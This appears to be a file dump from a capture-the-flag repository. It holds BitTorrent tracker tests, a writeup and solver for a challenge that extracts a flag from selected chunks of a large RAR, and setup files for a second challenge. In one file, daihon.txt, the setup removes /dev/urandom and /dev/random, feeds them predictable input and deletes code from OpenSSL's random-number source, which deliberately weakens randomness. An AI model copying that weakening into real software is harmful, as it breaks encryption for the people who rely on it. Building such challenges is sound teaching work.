client.start()', function (t) { 63 | testLargeTorrent(t, 'ws') 64 | }) 65 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/client-magnet.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('safe-buffer').Buffer 2 | var Client = require('../') 3 | var common = require('./common') 4 | var fixtures = require('webtorrent-fixtures') 5 | var magnet = require('magnet-uri') 6 | var test = require('tape') 7 | 8 | var peerId = Buffer.from('01234567890123456789') 9 | 10 | function testMagnet (t, serverType) { 11 | t.plan(9) 12 | 13 | var parsedTorrent = magnet(fixtures.leaves.magnetURI) 14 | 15 | common.createServer(t, serverType, function (server, announceUrl) { 16 | var client = new Client({ 17 | infoHash: parsedTorrent.infoHash, 18 | announce: announceUrl, 19 | peerId: peerId, 20 | port: 6881, 21 | wrtc: {} 22 | }) 23 | 24 | if (serverType === 'ws') common.mockWebsocketTracker(client) 25 | client.on('error', function (err) { t.error(err) }) 26 | client.on('warning', function (err) { t.error(err) }) 27 | 28 | client.once('update', function (data) { 29 | t.equal(data.announce, announceUrl) 30 | t.equal(typeof data.complete, 'number') 31 | t.equal(typeof data.incomplete, 'number') 32 | 33 | client.update() 34 | 35 | client.once('update', function (data) { 36 | t.equal(data.announce, announceUrl) 37 | t.equal(typeof data.complete, 'number') 38 | t.equal(typeof data.incomplete, 'number') 39 | 40 | client.stop() 41 | 42 | client.once('update', function (data) { 43 | t.equal(data.announce, announceUrl) 44 | t.equal(typeof data.complete, 'number') 45 | t.equal(typeof data.incomplete, 'number') 46 | 47 | server.close() 48 | client.destroy() 49 | }) 50 | }) 51 | }) 52 | 53 | client.start() 54 | }) 55 | } 56 | 57 | test('http: magnet: client.start/update/stop()', function (t) { 58 | testMagnet(t, 'http') 59 | }) 60 | 61 | test('udp: magnet: client.start/update/stop()', function (t) { 62 | testMagnet(t, 'udp') 63 | }) 64 | 65 | test('ws: magnet: client.start/update/stop()', function (t) { 66 | testMagnet(t, 'ws') 67 | }) 68 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/client-ws-socket-pool.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('safe-buffer').Buffer 2 | var Client = require('../') 3 | var common = require('./common') 4 | var fixtures = require('webtorrent-fixtures') 5 | var test = require('tape') 6 | 7 | var peerId = Buffer.from('01234567890123456789') 8 | var port = 6681 9 | 10 | test('ensure client.destroy() callback is called with re-used websockets in socketPool', function (t) { 11 | t.plan(4) 12 | 13 | common.createServer(t, 'ws', function (server, announceUrl) { 14 | var client1 = new Client({ 15 | infoHash: fixtures.leaves.parsedTorrent.infoHash, 16 | announce: announceUrl, 17 | peerId: peerId, 18 | port: port, 19 | wrtc: {} 20 | }) 21 | 22 | common.mockWebsocketTracker(client1) 23 | client1.on('error', function (err) { t.error(err) }) 24 | client1.on('warning', function (err) { t.error(err) }) 25 | 26 | client1.start() 27 | 28 | client1.once('update', function () { 29 | t.pass('got client1 update') 30 | // second ws client using same announce url will re-use the same websocket 31 | var client2 = new Client({ 32 | infoHash: fixtures.alice.parsedTorrent.infoHash, // different info hash 33 | announce: announceUrl, 34 | peerId: peerId, 35 | port: port, 36 | wrtc: {} 37 | }) 38 | 39 | common.mockWebsocketTracker(client2) 40 | client2.on('error', function (err) { t.error(err) }) 41 | client2.on('warning', function (err) { t.error(err) }) 42 | 43 | client2.start() 44 | 45 | client2.once('update', function () { 46 | t.pass('got client2 update') 47 | client1.destroy(function (err) { 48 | t.error(err, 'got client1 destroy callback') 49 | client2.destroy(function (err) { 50 | t.error(err, 'got client2 destroy callback') 51 | server.close() 52 | }) 53 | }) 54 | }) 55 | }) 56 | }) 57 | }) 58 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/common.js: -------------------------------------------------------------------------------- 1 | var Server = require('../').Server 2 | 3 | exports.createServer = function (t, opts, cb) { 4 | if (typeof opts === 'string') opts = { serverType: opts } 5 | 6 | opts.http = (opts.serverType === 'http') 7 | opts.udp = (opts.serverType === 'udp') 8 | opts.ws = (opts.serverType === 'ws') 9 | 10 | var server = new Server(opts) 11 | 12 | server.on('error', function (err) { t.error(err) }) 13 | server.on('warning', function (err) { t.error(err) }) 14 | 15 | server.listen(0, function () { 16 | var port = server[opts.serverType].address().port 17 | var announceUrl 18 | if (opts.serverType === 'http') { 19 | announceUrl = 'http://127.0.0.1:' + port + '/announce' 20 | } else if (opts.serverType === 'udp') { 21 | announceUrl = 'udp://127.0.0.1:' + port 22 | } else if (opts.serverType === 'ws') { 23 | announceUrl = 'ws://127.0.0.1:' + port 24 | } 25 | 26 | cb(server, announceUrl) 27 | }) 28 | } 29 | 30 | exports.mockWebsocketTracker = function (client) { 31 | client._trackers[0]._generateOffers = function (numwant, cb) { 32 | var offers = [] 33 | for (var i = 0; i < numwant; i++) { 34 | offers.push({ fake_offer: 'fake_offer_' + i }) 35 | } 36 | process.nextTick(function () { 37 | cb(offers) 38 | }) 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/destroy.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('safe-buffer').Buffer 2 | var Client = require('../') 3 | var common = require('./common') 4 | var fixtures = require('webtorrent-fixtures') 5 | var test = require('tape') 6 | 7 | var peerId = Buffer.from('01234567890123456789') 8 | var port = 6881 9 | 10 | function testNoEventsAfterDestroy (t, serverType) { 11 | t.plan(1) 12 | 13 | common.createServer(t, serverType, function (server, announceUrl) { 14 | var client = new Client({ 15 | infoHash: fixtures.leaves.parsedTorrent.infoHash, 16 | announce: announceUrl, 17 | peerId: peerId, 18 | port: port, 19 | wrtc: {} 20 | }) 21 | 22 | if (serverType === 'ws') common.mockWebsocketTracker(client) 23 | client.on('error', function (err) { t.error(err) }) 24 | client.on('warning', function (err) { t.error(err) }) 25 | 26 | client.once('update', function () { 27 | t.fail('no "update" event should fire, since client is destroyed') 28 | }) 29 | 30 | // announce, then immediately destroy 31 | client.update() 32 | client.destroy() 33 | 34 | setTimeout(function () { 35 | t.pass('wait to see if any events are fired') 36 | server.close() 37 | }, 1000) 38 | }) 39 | } 40 | 41 | test('http: no "update" events after destroy()', function (t) { 42 | testNoEventsAfterDestroy(t, 'http') 43 | }) 44 | 45 | test('udp: no "update" events after destroy()', function (t) { 46 | testNoEventsAfterDestroy(t, 'udp') 47 | }) 48 | 49 | test('ws: no "update" events after destroy()', function (t) { 50 | testNoEventsAfterDestroy(t, 'ws') 51 | }) 52 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/evict.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('safe-buffer').Buffer 2 | var Client = require('../') 3 | var common = require('./common') 4 | var test = require('tape') 5 | var electronWebrtc = require('electron-webrtc') 6 | 7 | var wrtc 8 | 9 | var infoHash = '4cb67059ed6bd08362da625b3ae77f6f4a075705' 10 | var peerId = Buffer.from('01234567890123456789') 11 | var peerId2 = Buffer.from('12345678901234567890') 12 | var peerId3 = Buffer.from('23456789012345678901') 13 | 14 | function serverTest (t, serverType, serverFamily) { 15 | t.plan(10) 16 | 17 | var hostname = serverFamily === 'inet6' 18 | ? '[::1]' 19 | : '127.0.0.1' 20 | 21 | var opts = { 22 | serverType: serverType, 23 | peersCacheLength: 2 // LRU cache can only contain a max of 2 peers 24 | } 25 | 26 | common.createServer(t, opts, function (server) { 27 | // Not using announceUrl param from `common.createServer()` since we 28 | // want to control IPv4 vs IPv6. 29 | var port = server[serverType].address().port 30 | var announceUrl = serverType + '://' + hostname + ':' + port + '/announce' 31 | 32 | var client1 = new Client({ 33 | infoHash: infoHash, 34 | announce: [ announceUrl ], 35 | peerId: peerId, 36 | port: 6881, 37 | wrtc: wrtc 38 | }) 39 | if (serverType === 'ws') common.mockWebsocketTracker(client1) 40 | 41 | client1.start() 42 | 43 | client1.once('update', function (data) { 44 | var client2 = new Client({ 45 | infoHash: infoHash, 46 | announce: [ announceUrl ], 47 | peerId: peerId2, 48 | port: 6882, 49 | wrtc: wrtc 50 | }) 51 | if (serverType === 'ws') common.mockWebsocketTracker(client2) 52 | 53 | client2.start() 54 | 55 | client2.once('update', function (data) { 56 | server.getSwarm(infoHash, function (err, swarm) { 57 | t.error(err) 58 | 59 | t.equal(swarm.complete + swarm.incomplete, 2) 60 | 61 | // Ensure that first peer is evicted when a third one is added 62 | var evicted = false 63 | swarm.peers.once('evict', function (evictedPeer) { 64 | t.equal(evictedPeer.value.peerId, peerId.toString('hex')) 65 | t.equal(swarm.complete + swarm.incomplete, 2) 66 | evicted = true 67 | }) 68 | 69 | var client3 = new Client({ 70 | infoHash: infoHash, 71 | announce: [ announceUrl ], 72 | peerId: peerId3, 73 | port: 6880, 74 | wrtc: wrtc 75 | }) 76 | if (serverType === 'ws') common.mockWebsocketTracker(client3) 77 | 78 | client3.start() 79 | 80 | client3.once('update', function (data) { 81 | t.ok(evicted, 'client1 was evicted from server before client3 gets response') 82 | t.equal(swarm.complete + swarm.incomplete, 2) 83 | 84 | client1.destroy(function () { 85 | t.pass('client1 destroyed') 86 | }) 87 | 88 | client2.destroy(function () { 89 | t.pass('client3 destroyed') 90 | }) 91 | 92 | client3.destroy(function () { 93 | t.pass('client3 destroyed') 94 | }) 95 | 96 | server.close(function () { 97 | t.pass('server destroyed') 98 | }) 99 | }) 100 | }) 101 | }) 102 | }) 103 | }) 104 | } 105 | 106 | test('evict: ipv4 server', function (t) { 107 | serverTest(t, 'http', 'inet') 108 | }) 109 | 110 | test('evict: http ipv6 server', function (t) { 111 | serverTest(t, 'http', 'inet6') 112 | }) 113 | 114 | test('evict: udp server', function (t) { 115 | serverTest(t, 'udp', 'inet') 116 | }) 117 | 118 | test('evict: ws server', function (t) { 119 | wrtc = electronWebrtc() 120 | wrtc.electronDaemon.once('ready', function () { 121 | serverTest(t, 'ws', 'inet') 122 | }) 123 | t.once('end', function () { 124 | wrtc.close() 125 | }) 126 | }) 127 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/querystring.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('safe-buffer').Buffer 2 | var common = require('../lib/common') 3 | var test = require('tape') 4 | 5 | // https://github.com/webtorrent/webtorrent/issues/196 6 | test('encode special chars +* in http tracker urls', function (t) { 7 | var q = { 8 | info_hash: Buffer.from('a2a15537542b22925ad10486bf7a8b2a9c42f0d1', 'hex').toString('binary') 9 | } 10 | var encoded = 'info_hash=%A2%A1U7T%2B%22%92Z%D1%04%86%BFz%8B%2A%9CB%F0%D1' 11 | t.equal(common.querystringStringify(q), encoded) 12 | 13 | // sanity check that encode-decode matches up 14 | t.deepEqual(common.querystringParse(common.querystringStringify(q)), q) 15 | 16 | t.end() 17 | }) 18 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/test/request-handler.js: -------------------------------------------------------------------------------- 1 | var Buffer = require('safe-buffer').Buffer 2 | var Client = require('../') 3 | var common = require('./common') 4 | var fixtures = require('webtorrent-fixtures') 5 | var test = require('tape') 6 | var Server = require('../server') 7 | 8 | var peerId = Buffer.from('01234567890123456789') 9 | 10 | function testRequestHandler (t, serverType) { 11 | t.plan(5) 12 | 13 | var opts = { serverType: serverType } // this is test-suite-only option 14 | 15 | class Swarm extends Server.Swarm { 16 | announce (params, cb) { 17 | super.announce(params, function (err, response) { 18 | if (err) return cb(response) 19 | response.complete = 246 20 | response.extraData = 'hi' 21 | cb(null, response) 22 | }) 23 | } 24 | } 25 | 26 | // Use a custom Swarm implementation for this test only 27 | var OldSwarm = Server.Swarm 28 | Server.Swarm = Swarm 29 | t.on('end', function () { 30 | Server.Swarm = OldSwarm 31 | }) 32 | 33 | common.createServer(t, opts, function (server, announceUrl) { 34 | var client1 = new Client({ 35 | infoHash: fixtures.alice.parsedTorrent.infoHash, 36 | announce: announceUrl, 37 | peerId: peerId, 38 | port: 6881, 39 | wrtc: {} 40 | }) 41 | 42 | client1.on('error', function (err) { t.error(err) }) 43 | if (serverType === 'ws') common.mockWebsocketTracker(client1) 44 | 45 | server.once('start', function () { 46 | t.pass('got start message from client1') 47 | }) 48 | 49 | client1.once('update', function (data) { 50 | t.equal(data.complete, 246) 51 | t.equal(data.extraData.toString(), 'hi') 52 | 53 | client1.destroy(function () { 54 | t.pass('client1 destroyed') 55 | }) 56 | 57 | server.close(function () { 58 | t.pass('server destroyed') 59 | }) 60 | }) 61 | 62 | client1.start() 63 | }) 64 | } 65 | 66 | test('http: request handler option intercepts announce requests and responses', function (t) { 67 | testRequestHandler(t, 'http') 68 | }) 69 | 70 | test('ws: request handler option intercepts announce requests and responses', function (t) { 71 | testRequestHandler(t, 'ws') 72 | }) 73 | 74 | // NOTE: it's not possible to include extra data in a UDP response, because it's compact and accepts only params that are in the spec! 75 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/bittorrent-tracker/tools/update-authors.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # Update AUTHORS.md based on git history. 3 | 4 | git log --reverse --format='%aN (%aE)' | perl -we ' 5 | BEGIN { 6 | %seen = (), @authors = (); 7 | } 8 | while (<>) { 9 | next if $seen{$_}; 10 | next if /(support\@greenkeeper.io)/; 11 | next if /(yoann\@atacma.agency)/; 12 | next if /(yciabaud\@users.noreply.github.com)/; 13 | next if /(DiegoRBaquero\@users.noreply.github.com)/; 14 | next if /(gustavcaplan\@gmail.com)/; 15 | $seen{$_} = push @authors, "- ", $_; 16 | } 17 | END { 18 | print "# Authors\n\n"; 19 | print "#### Ordered by first contribution.\n\n"; 20 | print @authors, "\n"; 21 | print "#### Generated by tools/update-authors.sh.\n"; 22 | } 23 | ' > AUTHORS.md 24 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/flag.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/misc/plzseed/writeup/flag.jpg -------------------------------------------------------------------------------- /misc/plzseed/writeup/flag.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/misc/plzseed/writeup/flag.rar -------------------------------------------------------------------------------- /misc/plzseed/writeup/generate.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const {promisify} = require('util'); 3 | const bencode = require('bencode'); 4 | 5 | const {trackerAddr, pieceSize} = require('./parameter.js'); 6 | 7 | (async () => { 8 | const hashesData = await promisify(fs.readFile)('hashes.txt'); 9 | const entries = hashesData.toString().split(/\r?\n/).filter((line) => line).map((line) => line.split(': ')); 10 | const map = new Map(entries); 11 | const pieces = []; 12 | const chunks = []; 13 | const offsets = []; 14 | for (const [indexString, pieceHash] of entries.filter(([key]) => key.startsWith('piece_hash'))) { 15 | const index = parseInt(indexString.match(/\d+/)[0]); 16 | pieces[index] = pieceHash; 17 | } 18 | for (const [indexString, chunk] of entries.filter(([key]) => key.startsWith('chunk'))) { 19 | const index = parseInt(indexString.match(/\d+/)[0]); 20 | chunks[index] = chunk; 21 | } 22 | for (const [indexString, offset] of entries.filter(([key]) => key.startsWith('offset'))) { 23 | const index = parseInt(indexString.match(/\d+/)[0]); 24 | offsets[index] = parseInt(offset); 25 | } 26 | const torrent = bencode.encode({ 27 | announce: `http://${trackerAddr}/announce`, 28 | 'announce-list': [[`http://${trackerAddr}/announce`]], 29 | comment: 'This torrent is a part of the challenge on TSGCTF. Don\'t use it for other purposes.', 30 | 'created by': 'hakatashi', 31 | 'creation date': 1556939538, 32 | encoding: 'UTF-8', 33 | info: { 34 | length: parseInt(map.get('file_size')), 35 | name: 'plzseed.rar', 36 | 'piece length': pieceSize, 37 | pieces: Buffer.from(pieces.join(''), 'hex'), 38 | private: 1 39 | }, 40 | 'url-list': [], 41 | }); 42 | await promisify(fs.writeFile)('plzseed.torrent', torrent); 43 | await promisify(fs.writeFile)('hashes.json', JSON.stringify({ 44 | chunks, 45 | offsets, 46 | starter: map.get('starter'), 47 | terminator: map.get('terminator'), 48 | fileSize: parseInt(map.get('file_size')), 49 | flagOffset: parseInt(map.get('flag_offset')), 50 | pieceCount: pieces.length, 51 | })); 52 | })(); 53 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/nginx.conf: -------------------------------------------------------------------------------- 1 | events { 2 | worker_connections 1024; 3 | } 4 | 5 | # tracker 6 | http { 7 | server { 8 | listen 36262 default_server; 9 | location / { 10 | deny all; 11 | } 12 | location = /announce { 13 | proxy_pass http://node-tracker:36262/announce; 14 | } 15 | } 16 | } 17 | 18 | # seeder 19 | stream { 20 | limit_conn_zone $binary_remote_addr zone=ip_addr:10m; 21 | server { 22 | listen 10001; 23 | proxy_pass node-seeder:10001; 24 | limit_conn ip_addr 1; 25 | proxy_download_rate 8k; 26 | proxy_upload_rate 100k; 27 | } 28 | } -------------------------------------------------------------------------------- /misc/plzseed/writeup/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "writeup", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "tracker.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "keywords": [], 10 | "author": "", 11 | "license": "ISC", 12 | "dependencies": { 13 | "bencode": "^2.0.1", 14 | "bitfield": "^2.0.0", 15 | "bittorrent-protocol": "^3.0.1", 16 | "bittorrent-tracker": "^9.10.1", 17 | "create-torrent": "^3.33.0", 18 | "fastify": "^2.2.0", 19 | "lodash": "^4.17.11" 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/parameter.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | torrentHash: '6ed7e46a243c10f612bfcdfddc9ce7d45dca6122', 3 | pieceSize: 16777216, 4 | trackerAddr: '34.85.75.40:36262', 5 | seederAddr: '34.85.75.40:10001', 6 | // trackerAddr: '127.0.0.1:36262', 7 | // seederAddr: '127.0.0.1:10001', 8 | }; -------------------------------------------------------------------------------- /misc/plzseed/writeup/peer.js: -------------------------------------------------------------------------------- 1 | const Client = require('bittorrent-tracker'); 2 | const Protocol = require('bittorrent-protocol') 3 | const net = require('net') 4 | 5 | const infoHash = Buffer.from('01234567890123456789'); 6 | const peerId = Buffer.from('01234567890123456780'); 7 | 8 | const socket = net.createConnection({ 9 | port: 52679, 10 | host: '127.0.0.1', 11 | localAddress: '127.0.0.1', 12 | localPort: 10006, 13 | }); 14 | const wire = new Protocol() 15 | 16 | socket.pipe(wire).pipe(socket); 17 | 18 | wire.handshake(infoHash, peerId); 19 | wire.on('handshake', (dInfoHash, dPeerId) => { 20 | console.log({dInfoHash, dPeerId}); 21 | wire.unchoke(); 22 | wire.on('unchoke', () => { 23 | console.log('peer is no longer choking us: ' + wire.peerChoking) 24 | /* 25 | wire.request(0, 0, 100, (err, block) => { 26 | console.log({err, block}); 27 | }); 28 | */ 29 | }); 30 | }); 31 | 32 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/solver.js: -------------------------------------------------------------------------------- 1 | const Client = require('bittorrent-tracker'); 2 | const Protocol = require('bittorrent-protocol') 3 | const net = require('net') 4 | const fs = require('fs'); 5 | const {promisify} = require('util'); 6 | 7 | const pieceSize = 16777216; 8 | 9 | const infoHash = Buffer.from('6ed7e46a243c10f612bfcdfddc9ce7d45dca6122', 'hex'); 10 | const peerId = Buffer.from('-ZZ0000-89a123456789'); 11 | 12 | const client = new Client({ 13 | infoHash, 14 | peerId, 15 | announce: [ 16 | 'http://34.85.75.40:36262/announce', 17 | ], 18 | port: 38951, 19 | }); 20 | 21 | client.on('peer', function (addr) { 22 | console.log('found a peer: ' + addr) 23 | const [host, port] = addr.split(':'); 24 | const socket = net.createConnection({ 25 | port: parseInt(port), 26 | host, 27 | }); 28 | const wire = new Protocol() 29 | 30 | socket.pipe(wire).pipe(socket); 31 | 32 | wire.handshake(infoHash, peerId); 33 | wire.on('handshake', (dInfoHash, dPeerId) => { 34 | wire.unchoke(); 35 | }); 36 | 37 | const get = (offset, length) => { 38 | return new Promise((resolve, reject) => { 39 | const pieceIndex = Math.floor(offset / pieceSize); 40 | const pieceOffset = offset % pieceSize; 41 | wire.request(pieceIndex, pieceOffset, Math.min(length, pieceSize - pieceOffset), (error, block) => { 42 | if (error) { 43 | reject(error); 44 | return; 45 | } 46 | if (length <= pieceSize - pieceOffset) { 47 | resolve(block); 48 | return; 49 | } 50 | wire.request(pieceIndex + 1, 0, length - (pieceSize - pieceOffset), (error, block2) => { 51 | if (error) { 52 | reject(error); 53 | return; 54 | } 55 | resolve(Buffer.concat([block, block2])); 56 | }); 57 | }); 58 | }); 59 | } 60 | 61 | wire.on('bitfield', async () => { 62 | let offset = 0; 63 | 64 | // Read RAR format details here: https://www.forensicswiki.org/wiki/RAR 65 | const rarMarker = await get(offset, 7); 66 | offset += 7; 67 | const rarHeader = await get(offset, 13); 68 | const headerSize = rarHeader.readUInt16LE(5); 69 | offset += headerSize; 70 | while (1) { 71 | const chunkHeader = await get(offset, 100); 72 | const chunkFlags = chunkHeader.readUInt16LE(3); 73 | const chunkHeaderSize = chunkHeader.readUInt16LE(5); 74 | const chunkPackSize = chunkHeader.readUInt32LE(7); 75 | const nameSize = chunkHeader.readUInt16LE(26); 76 | 77 | if (!(chunkFlags & 0x100)) { 78 | const chunkHighPackSize = chunkHeader.readUInt32LE(32); 79 | const fileName = chunkHeader.slice(32, 32 + nameSize).toString(); 80 | console.log({chunkHeader, chunkFlags, chunkHeaderSize, chunkPackSize, fileName, offset}); 81 | 82 | if (fileName === 'flag.jpg') { 83 | const content = await get(offset, chunkHeaderSize + chunkPackSize); 84 | console.log({content}); 85 | await promisify(fs.writeFile)('flag_out.rar', Buffer.concat([rarMarker, rarHeader, content])); 86 | console.log('flag_out.rar was extracted.'); 87 | process.exit(); 88 | } 89 | 90 | offset += chunkHeaderSize; 91 | offset += chunkPackSize; 92 | } else { 93 | const chunkHighPackSize = chunkHeader.readUInt32LE(32); 94 | const fileName = chunkHeader.slice(40, 40 + nameSize).toString(); 95 | console.log({chunkHeader, chunkFlags, chunkHeaderSize, chunkPackSize, fileName, chunkHighPackSize, offset}); 96 | 97 | offset += chunkHeaderSize; 98 | offset += chunkPackSize + chunkHighPackSize * 2 ** 32; 99 | } 100 | } 101 | }); 102 | }); 103 | 104 | client.update(); 105 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/tracker.js: -------------------------------------------------------------------------------- 1 | const {Server} = require('./bittorrent-tracker'); 2 | const {torrentHash} = require('./parameter.js'); 3 | 4 | const server = new Server({ 5 | udp: false, 6 | http: true, 7 | ws: false, 8 | stats: false, 9 | filter: (hash, params, callback) => { 10 | const torrent = server.torrents[hash]; 11 | console.log({hash}); 12 | if (hash !== torrentHash) { 13 | callback(new Error(`We want ${torrentHash}`)); 14 | return; 15 | } 16 | callback(null); 17 | }, 18 | }); 19 | 20 | server.on('error', (error) => { 21 | console.log({error}); 22 | }); 23 | 24 | server.on('warning', (error) => { 25 | console.log({error}); 26 | }); 27 | 28 | server.listen(36262, '0.0.0.0', (event) => { 29 | console.log({event}); 30 | }); 31 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/utils.js: -------------------------------------------------------------------------------- 1 | const hashes = require('./hashes.json'); 2 | const assert = require('assert'); 3 | const fs = require('fs'); 4 | const path = require('path'); 5 | 6 | const starter = Buffer.from(hashes.starter, 'hex'); 7 | const terminator = Buffer.from(hashes.terminator, 'hex'); 8 | const terminatorOffset = hashes.fileSize - terminator.length; 9 | const chunks = hashes.chunks.map((chunk) => Buffer.from(chunk, 'hex')); 10 | 11 | const getByte = (x) => { 12 | x = (48271 * (x % 0xe9cc19e1)) % 0x7fffffff; 13 | x = (x << 13) ^ x; 14 | x = (x >> 17) ^ x; 15 | x = (x << 5) ^ x; 16 | return x & 0xff; 17 | }; 18 | 19 | const flagBuffer = fs.readFileSync(path.join(__dirname, 'flag.rar')); 20 | 21 | module.exports.getBytes = (offset, size) => { 22 | assert(1 <= size && size <= 512 * 1024); 23 | const buffer = Buffer.alloc(size); 24 | for (const i of buffer.keys()) { 25 | buffer[i] = getByte(offset + i); 26 | } 27 | if (offset < starter.length) { 28 | starter.copy(buffer, 0, offset); 29 | } 30 | for (const [index, chunkOffset] of hashes.offsets.entries()) { 31 | const chunk = chunks[index]; 32 | if (offset < chunkOffset + chunk.length && chunkOffset < offset + size) { 33 | chunk.copy(buffer, Math.max(0, chunkOffset - offset), Math.max(0, offset - chunkOffset)); 34 | } 35 | } 36 | if (hashes.flagOffset < offset + size) { 37 | flagBuffer.copy(buffer, Math.max(0, hashes.flagOffset - offset), Math.max(0, offset - hashes.flagOffset)); 38 | } 39 | if (terminatorOffset < offset + size) { 40 | terminator.copy(buffer, Math.max(0, terminatorOffset - offset), Math.max(0, offset - terminatorOffset)); 41 | } 42 | return buffer; 43 | }; 44 | -------------------------------------------------------------------------------- /misc/plzseed/writeup/writeup.md: -------------------------------------------------------------------------------- 1 | # Plzseed Writeup 2 | 3 | ## 解法 4 | 5 | 世の中ではBittorrentで違法なRARファイルが共有されているというのを題材にしているが、正直あまり関係なく、普通にBitTorrentのプロトコルとRARのフォーマット知ってるかという問題である。 6 | 7 | BitTorrentで300GBのRARファイルがダウンロードできるが、nginxによってダウンロード速度が8kB/sに制限されているため、すべてダウンロードするには1年ほどかかる。 8 | 9 | 300GBのRARファイルのすべてがフラグに関係あるとは思えないため、RARファイルの中でフラグに関係ある部分だけをダウンロードすることを思いつくはずである。(BitTorrentではクライアントがダウンロードしたいピースとそのオフセットをピアに要求することができる) 10 | 11 | そのためにはまず、最小限のダウンロードでRARのファイルを列挙する必要があるが、これは一般的なRARファイルビューアが行っていることと同じである。 12 | 13 | RARファイルは複数のチャンクから構成され、チャンクのヘッダーにはそのチャンクの大きさ (を計算するのに十分な情報) が記載されている。つまりファイルの最初からスキャンしていき、チャンクのヘッダーだけを拾って最後まで読んでやれば含まれるチャンクをすべて列挙することができる。 14 | 15 | RARの1ファイルは1チャンクに対応しているため、含まれるファイルを列挙できる。これを行うと、dummyXXXXXという名前のデータの他にflag.jpgというファイルがあるのが見つかる。 16 | 17 | あとは該当チャンクをまるごとダウンロードして (42KBあるので5秒程度かかる)、適切なRARヘッダーをくっつけて展開してやればflag.jpgを取り出すことができる。フラグは画像に記載してある。 18 | 19 | つまづきポイントとして、RARフォーマットには4GB以上のファイルサイズに対応するための拡張仕様があり、これを正しく実装しないとクソデカdummyファイルを正しく読み飛ばせない。 20 | 21 | ちなみにこの問題、HTTPサーバーなどでも同じような問題が構成できるが、あえてBitTorrentなのは、HTTPサーバーなどはローカルのファイルシステムにマウントして適当なRARビューアで閲覧すれば一瞬で解けてしまうからである。BitTorrentをマウントするシステムは流石に存在しない⋯⋯よね? 22 | 23 | BitTorrentプロトコルの詳細は↓のページが参考になる。 24 | 25 | https://wiki.theory.org/index.php/BitTorrentSpecification 26 | 27 | RARファイルのフォーマットの詳細は↓のページが参考になる。 28 | 29 | https://www.forensicswiki.org/wiki/RAR 30 | 31 | ## Flag 32 | 33 | `TSGCTF{BE-SMART-AND-ILLEGAL}` -------------------------------------------------------------------------------- /misc/plzseed/writeup/xorshift.js: -------------------------------------------------------------------------------- 1 | const xorshift = (x) => { 2 | x ^= (x << 13) & 0xffffffff; 3 | x ^= (x >> 17) & 0xffffffff; 4 | x ^= (x << 5) & 0xffffffff; 5 | return x; 6 | }; 7 | 8 | const get = (x) => xorshift(xorshift(xorshift(x))) & 0xff; 9 | 10 | console.log(xorshift(0)); 11 | console.log(xorshift(1)); 12 | console.log(xorshift(2)); 13 | console.log(xorshift(1000)); 14 | 15 | 16 | -------------------------------------------------------------------------------- /misc/recorded/README.md: -------------------------------------------------------------------------------- 1 | # Recorded 2 | 3 | ## Author 4 | 5 | @satos 6 | 7 | ## Description 8 | 9 | What's happend? 10 | 11 | 何が起こった? 12 | 13 | ``` 14 | $ sudo docker build -t problem . 15 | $ sudo docker run -it --device=/dev/input/event1:/dev/input/event1 problem "/bin/bash" 16 | root@hogehuga:/tmp# cat /dev/input/event1 > input & 17 | ``` 18 | 19 | **Note** The foregoing commands were typed with the **JIS** keyboard, not US keyboard. 20 | 21 | **注意** これらのコマンドはJISキーボードのパソコンで実行されました。 22 | 23 | 24 | ## Difficulty Estimate 25 | 26 | medium 27 | -------------------------------------------------------------------------------- /misc/recorded/problem/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt update 3 | 4 | RUN apt install make -y 5 | RUN apt install vim -y 6 | RUN apt install gcc -y 7 | RUN apt install curl -y 8 | RUN apt install libperl5.26 -y 9 | 10 | COPY flag.txt /tmp/ 11 | WORKDIR /tmp/ 12 | -------------------------------------------------------------------------------- /misc/recorded/problem/encrypted: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/misc/recorded/problem/encrypted -------------------------------------------------------------------------------- /misc/recorded/problem/input: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/tsg-ut/tsgctf/0c4f802a30e487a46378cda9aefd36199b4c6b41/misc/recorded/problem/input -------------------------------------------------------------------------------- /misc/recorded/writeup/daihon.txt: -------------------------------------------------------------------------------- 1 | cat /dev/input/event1 > input & 2 | rm /dev/urandom 3 | rm /dev/random 4 | LANG=C date --utc > /dev/random 5 | echo nyan >> /dev/random 6 | curl -O https://www.openssl.org/source/openssl-1.1.1b.tar.gz 7 | tar xzvf openssl-1.1.1b.tar.gz 8 | cd openssl-1.1.1b/ 9 | vim crypto/random/rand_unix.c 10 | 637Gd17d621Gd2d603Gdd480Gd30d:wq 11 | vim crypto/random/rand_lib.c 12 | 250Gd2d:wq 13 | ./config 14 | make -j 4 15 | cd .. 